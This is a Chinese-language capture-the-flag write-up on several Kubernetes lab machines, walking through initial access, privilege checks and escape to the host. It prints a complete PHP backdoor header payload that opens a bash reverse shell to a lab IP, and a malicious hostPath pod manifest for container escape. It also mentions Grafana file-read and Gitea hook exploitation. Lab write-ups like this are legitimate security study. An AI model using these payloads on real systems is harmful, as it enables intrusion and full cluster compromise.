Kubernetes打靶记录
找了些k8s相关的靶机,写个wp简单的记录一下
Insekube
开放了22,80端口
80端口命令注入,直接弹shell
环境变量里拿到第一个flag,还有一个Grafana
上传一个kubectl
尝试kubectl get pods
报错
./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"
使用kubectl auth can-i --list
查看secrets
,拿到第二个flag
之前还在环境变量里看到一个Grafana,版本为 8.3.0-beta2
起个代理然后用CVE-2021-43798读取serviceaccount token
查看该serviceaccount token的权限:
帐户可以对 *.*
资源执行 *
动词。这意味着它是一个cluster-admin
进入grafana的pod查看环境变量拿到第三个flag
最后部署一个恶意的挂载宿主机目录的pod来实现逃逸
不过靶机不出网,需要使用本地已有镜像
使用
kubectl --token=$token describe pod xxx
查看使用的镜像
编写恶意yaml
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: syringe:latest
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /
添加imagePullPolicy: IfNotPresent
表示优先拉取本地镜像
./kubectl --token=$token apply -f evil.yml
在宿主机的root目录下面拿到最后一个flag
Frank and Herby try again
30679端口为一个php服务
/info.php
看到php版本为 8.1.0-dev
此版本存在官方后门
User-Agentt: zerodiumsystem('bash -c "bash -i >& /dev/tcp/10.18.11.89/2333 0>&1"');
弹shell后上传kubectl
直接是cluster-admin
还是创建一个恶意pod
Frank & Herby make an app
Open 10.10.160.245:22
Open 10.10.160.245:3000
Open 10.10.160.245:10250
Open 10.10.160.245:10255
Open 10.10.160.245:10257
Open 10.10.160.245:10259
Open 10.10.160.245:16443
Open 10.10.160.245:25000
Open 10.10.160.245:31337
Open 10.10.160.245:32000
31337端口是一个web服务,扫描目录后发现/.git-credentials
访问得到
http://frank:f@an3-1s-E337!!@192.168.100.50
ssh直接登陆进去了
拿到第一个flag
部署恶意pod挂载宿主机目录拿到第二个flag
PalsForLife
Open 10.10.17.235:22
Open 10.10.17.235:6443
Open 10.10.17.235:30180
Open 10.10.17.235:31111
Open 10.10.17.235:31112
30180是一个nginx
dirsearch跑出一个/team/
目录,右键查看源代码,得到一串base64,是个pdf
需要密码才能打开
拿john跑
打开pdf
得到I_am_geniu5_P4ladin#
31111端口是一个gitea
得到一个用户leeroy
使用leeroy
I_am_geniu5_P4ladin#
登陆
私有仓库里有一个配置好的webhook
Secret值为第一个flag
利用Git Hooks
RCE
然后新建一个文件,即可弹到shell
得到第二个flag
当前是在集群里面
上传一个kubectl查看权限
cluster-admin 还是创建一个恶意pod逃逸到宿主机
还有一个flag找了半天= =
在kube-system
命名空间的secrets里
Kubernetes for Everyone
Open 10.10.66.53:22
Open 10.10.66.53:3000
Open 10.10.66.53:5000
Open 10.10.66.53:6443
3000端口一个Grafana v8.3.0
LFI尝试直接读serviceaccounttoken但是没读到
读取/etc/passwd
发现一串特殊字符 hereiamatctf907
5000端口是一个静态页面
/static/css/main.css
中有一串
/* @import url("https://pastebin.com/cPs69B0y"); */
base32解密得到vagrant
用户名 vagrant
密码 hereiamatctf907
登陆ssh (老外脑洞还是大啊)
使用了 k0s
没权限 先提个权
k0s kubectl get secret default-token-nhwb5 -o json
找到了一个flag
查看pods
发现internship-job-5drbm在启动的时候执行了
echo 26c3d1c068e7e01599c3612447410b5e56c779f1
拿hashcat跑一下
还有一个flag在kube-system
命名空间下的kube-api
中,但是一连就卡死= =
自己本地拉一个镜像
挨个git show
藏的真深啊